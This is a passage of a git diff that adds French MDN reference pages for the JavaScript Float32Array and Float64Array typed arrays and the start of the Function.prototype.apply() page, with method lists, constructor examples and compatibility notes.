+ <dd>Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Float32Array.name")}}</dt>
+ <dd>Renvoie la chaîne de caractères correspondant au nom du constructeur, dans le cas de <code>Float32Array</code>, ce sera : "Float32Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Float32Array.prototype")}}</dt>
+ <dd>Le prototype des objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Float32Array.from()")}}</dt>
+ <dd>Crée un nouvel objet <code>Float32Array</code> à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Float32Array.of()")}}</dt>
+ <dd>Crée un nouvel objet <code>Float32Array</code> à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_Float32Array">Prototype <code>Float32Array</code></h2>
+
+<p>Chacun des objets <code>Float32Array</code> hérite de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Float32Array.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a crée le prototype de l'instance. Par défaut, ce sera le constructeur <code>Float32Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Float32Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet <code>Float32Array</code>. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Float32Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la longueur, exprimée en octets, de l'objet <code>Float32Array</code> à partir du début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Float32Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le décalage, exprimé en octets, de l'objet <code>Float32Array</code> par rapport au début de l'{{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en <strong>lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Float32Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'éléments contenus dans l'objet <code>Float32Array</code>. Cette propriété est fixée lors de la construction et n'est donc disponible qu'en <strong>lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Float32Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Float32Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Float32Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Float32Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Float32Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Float32Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Float32Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Float32Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Float32Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Float32Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Float32Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Float32Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Float32Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Float32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float32Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Float32Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Float32Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Float32Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Float32Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Float32Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Float32Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Float32Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Float32Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Float32Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Float32Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Float32Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Float32Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Float32Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Float32Array</code> :</p>
+
+<pre class="brush: js">// Construction à partir d'une longueur
+var float32 = new Float32Array(2);
+float32[0] = 42;
+console.log(float32[0]); // 42
+console.log(float32.length); // 2
+console.log(float32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Float32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Float32Array([21, 31]);
+var y = new Float32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Float32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var float32 = new Float32Array(iterable);
+// Float32Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Défintion initiale au sein d'un standard ECMA. <code>new</code> est obligatoire.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur afin que celui-ci utilise l'opération interne <code>ToIndex</code> et puisse être utilisé sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Float32Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), <code>Float32Array</code> doit être utilisée avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>Float32Array</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Float32Array([1, 2, 3]);
+// TypeError: calling a builtin Float32Array constructor
+// without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Float32Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/float64array/index.html b/files/fr/web/javascript/reference/objets_globaux/float64array/index.html
new file mode 100644
index 0000000000..892222240c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/float64array/index.html
@@ -0,0 +1,204 @@
+---
+title: Float64Array
+slug: Web/JavaScript/Reference/Objets_globaux/Float64Array
+tags:
+  - Constructor
+  - JavaScript
+  - Reference
+  - TypedArray
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/Float64Array
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong><code>Floa64Array</code></strong> permet de représenter un tableau typé dont les éléments sont des nombres flottants représentés sur 64 bits (ce qui correspond à la représentation du type <code>double</code> en C) dans l'ordre des octets utilisé par la plate-forme. Si on souhaite maîtriser le boutisme (<em>endianness</em>), on pourra utiliser un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à <code>0</code>. Une fois construit, il est possible de faire référence aux éléments du tableau en utilisant les méthodes de l'objet ou la syntaxe usuelle pour l'accès aux éléments du tableau (les crochets).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new Float64Array(); // apparu avec ES2017
+new Float64Array(longueur);
+new Float64Array(tableauTypé);
+new Float64Array(objet);
+new Float64Array(buffer [, positionOctet [, longueur]]);</pre>
+
+<p>Pour plus d'informations sur la syntaxe du constructeur et ses paramètres, voir <em><a href="/fr/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#Syntaxe">TypedArray</a></em>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Float64Array.BYTES_PER_ELEMENT")}}</dt>
+ <dd>Renvoie un nombre traduisant la taille de l'élément en octets, <code>8</code> dans le cas d'un <code>Float64Array</code>.</dd>
+ <dt>Float64Array.length</dt>
+ <dd>Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}}.</dd>
+ <dt>{{jsxref("TypedArray.name", "Float64Array.name")}}</dt>
+ <dd>Renvoie la chaîne de caractère correspondant au nom du constructeur, dans le cas de <code>Float64Array</code>, ce sera : "Float64Array".</dd>
+ <dt>{{jsxref("TypedArray.prototype", "Float64Array.prototype")}}</dt>
+ <dd>Prototype pour les objets <em>TypedArray</em>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("TypedArray.from", "Float64Array.from()")}}</dt>
+ <dd>Crée un nouvel objet <code>Float64Array</code> à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir aussi {{jsxref("Array.from()")}}.</dd>
+ <dt>{{jsxref("TypedArray.of", "Float64Array.of()")}}</dt>
+ <dd>Crée un nouvel objet <code>Float64Array</code> à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.</dd>
+</dl>
+
+<h2 id="Prototype_de_Float64Array">Prototype de <code>Float64Array</code></h2>
+
+<p>Tous les objets <code>Float64Array</code> héritent de {{jsxref("TypedArray.prototype", "Float64Array.prototype")}}.</p>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<dl>
+ <dt><code>Float64Array.prototype.constructor</code></dt>
+ <dd>Renvoie la fonction qui a créé le prototype de l'instance. Par défaut, ce sera le constructeur natif <code>Float64Array</code>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.buffer", "Float64Array.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>Renvoie l'{{jsxref("ArrayBuffer")}} référencé par l'objet <code>Float64Array</code>. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'<strong>en lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteLength", "Float64Array.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>Renvoie la longueur, exprimée en octets, de l'objet <code>Float64Array</code> depuis le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'<strong>en lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.byteOffset", "Float64Array.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le décalage, exprimé en octets, entre l'objet <code>Float64Array</code> et le début de son {{jsxref("ArrayBuffer")}}. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'<strong>en lecture seule</strong>.</dd>
+ <dt>{{jsxref("TypedArray.prototype.length", "Float64Array.prototype.length")}} {{readonlyInline}}</dt>
+ <dd>Renvoie le nombre d'éléments contenus dans l'objet <code>Float64Array</code>. Cette valeur est fixée lors de la construction de l'objet et n'est accessible qu'<strong>en lecture seule</strong>.</dd>
+</dl>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<dl>
+ <dt>{{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}</dt>
+ <dd>Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.entries", "Float64Array.prototype.entries()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.</dd>
+ <dt>{{jsxref("TypedArray.every", "Float64Array.prototype.every()")}}</dt>
+ <dd>Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.</dd>
+ <dt>{{jsxref("TypedArray.fill", "Float64Array.prototype.fill()")}}</dt>
+ <dd>Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.</dd>
+ <dt>{{jsxref("TypedArray.filter", "Float64Array.prototype.filter()")}}</dt>
+ <dd>Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.</dd>
+ <dt>{{jsxref("TypedArray.find", "Float64Array.prototype.find()")}}</dt>
+ <dd>Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément <code>undefined</code> sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.</dd>
+ <dt>{{jsxref("TypedArray.findIndex", "Float64Array.prototype.findIndex()")}}</dt>
+ <dd>Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.</dd>
+ <dt>{{jsxref("TypedArray.forEach", "Float64Array.prototype.forEach()")}}</dt>
+ <dd>Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.</dd>
+ <dt>{{jsxref("TypedArray.includes", "Float64Array.prototype.includes()")}}</dt>
+ <dd>Détermine si le tableau typé contient un élément donné. Cette méthode renvoie <code>true</code> ou <code>false</code> selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.</dd>
+ <dt>{{jsxref("TypedArray.indexOf", "Float64Array.prototype.indexOf()")}}</dt>
+ <dd>Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.join", "Float64Array.prototype.join()")}}</dt>
+ <dd>Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.</dd>
+ <dt>{{jsxref("TypedArray.keys", "Float64Array.prototype.keys()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.</dd>
+ <dt>{{jsxref("TypedArray.lastIndexOf", "Float64Array.prototype.lastIndexOf()")}}</dt>
+ <dd>Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.</dd>
+ <dt>{{jsxref("TypedArray.map", "Float64Array.prototype.map()")}}</dt>
+ <dd>Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.</dd>
+ <dt>{{jsxref("TypedArray.move", "Float64Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Float64Array.prototype.copyWithin()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduce", "Float64Array.prototype.reduce()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reduceRight", "Float64Array.prototype.reduceRight()")}}</dt>
+ <dd>Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.</dd>
+ <dt>{{jsxref("TypedArray.reverse", "Float64Array.prototype.reverse()")}}</dt>
+ <dd>Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.</dd>
+ <dt>{{jsxref("TypedArray.set", "Float64Array.prototype.set()")}}</dt>
+ <dd>Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.</dd>
+ <dt>{{jsxref("TypedArray.slice", "Float64Array.prototype.slice()")}}</dt>
+ <dd>Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.</dd>
+ <dt>{{jsxref("TypedArray.some", "Float64Array.prototype.some()")}}</dt>
+ <dd>Renvoie <code>true</code> si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.</dd>
+ <dt>{{jsxref("TypedArray.sort", "Float64Array.prototype.sort()")}}</dt>
+ <dd>Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.</dd>
+ <dt>{{jsxref("TypedArray.subarray", "Float64Array.prototype.subarray()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Float64Array</code> qui est le fragment du tableau courant, entre les indices de début et de fin donnés.</dd>
+ <dt>{{jsxref("TypedArray.values", "Float64Array.prototype.values()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toLocaleString", "Float64Array.prototype.toLocaleString()")}}</dt>
+ <dd>Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.toString", "Float64Array.prototype.toString()")}}</dt>
+ <dd>Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.</dd>
+ <dt>{{jsxref("TypedArray.@@iterator", "Float64Array.prototype[@@iterator]()")}}</dt>
+ <dd>Renvoie un nouvel objet <code>Array Iterator</code> qui contient les valeurs correspondantes à chaque indice du tableau.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Différentes façons de créer un objet <code>Float64Array</code> :</p>
+
+<pre class="brush: js">// Construction avec une longueur de tableau
+var float64 = new Float64Array(2);
+float64[0] = 42;
+console.log(float64[0]); // 42
+console.log(float64.length); // 2
+console.log(float64.BYTES_PER_ELEMENT); // 8
+
+// Construction à partir d'un tableau
+var arr = new Float64Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un autre tableau typé
+var x = new Float64Array([21, 31]);
+var y = new Float64Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(32);
+var z = new Float64Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var float64 = new Float64Array(iterable);
+// Float64Array[1, 2, 3]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Première définition au sein d'un standard ECMAScript. <code>new</code> est nécessaire pour utiliser le constructeur.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>ECMAScript 2017 a modifié le constructeur afin qu'il utilise l'opération interne <code>ToIndex</code> ce qui permet de l'utiliser sans argument.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Float64Array")}}</p>
+
+<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2>
+
+<p>À partir d'ECMAScript 2015 (ES6), les constructeurs <code>TypedArray</code> doivent être utilisés avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur <code>TypedArray</code> comme une fonction, sans <code>new</code>, provoquera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = Float64Array([1, 2, 3]);
+// TypeError: calling a builtin Float64Array constructor without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new Float64Array([1, 2, 3]);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Tableaux_typés">Les tableaux typés en JavaScript</a></li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html b/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html
new file mode 100644
index 0000000000..6c1f23d146
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/function/apply/index.html
@@ -0,0 +1,211 @@
+---
+title: Function.prototype.apply()
+slug: Web/JavaScript/Reference/Objets_globaux/Function/apply
+tags:
+  - Function
+  - JavaScript
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/apply
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>apply()</strong></code> appelle une fonction en lui passant une valeur <code>this</code> et des <code>arguments</code> sous forme d'un tableau (ou d'un objet <a href="/fr/docs/Web/JavaScript/Guide/Objets_élémentaires_JavaScript#Manipuler_des_objets_semblables_aux_tableaux">semblable à un tableau</a>).</p>
+
+<div class="note"><strong>Note :</strong> Bien que la syntaxe de cette fonction ressemble à celle de {{jsxref("Function.call", "call()")}}, elle est différente car <code>call()</code> accepte <strong>une liste d'arguments</strong>, tandis que <code>apply()</code> accepte un <strong>tableau d'arguments</strong>.</div>
+
+<div class="note"><strong>Note :</strong> Quand on utilise {{jsxref("undefined")}} ou {{jsxref("null")}} comme premier argument pour cette fonction, on peut obtenir un résultat similaire avec la <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Syntaxe_décomposition">syntaxe de décomposition</a>.</div>
+
+<div>{{EmbedInteractiveExample("pages/js/function-apply.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>fun</var>.apply(<var>thisArg, </var>[<var>argsArray</var>])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>thisArg</code></dt>
+ <dd>La valeur de <code>this</code> fournie pour l'appel à la fonction <em><code>fun</code></em>. On notera que, sous certaines conditions, <code>this</code> peut ne pas être la valeur exacte vue par la méthode : si la méthode est une fonction utilisée en mode {{jsxref("Strict_mode", "mode non-strict", "", 1)}}, {{jsxref("null")}} et {{jsxref("undefined")}} seront remplacées par l'objet global, et les valeurs primitives seront encapsulées. Cet argument n'est pas optionnel.</dd>
+ <dt><code>argsArray</code></dt>
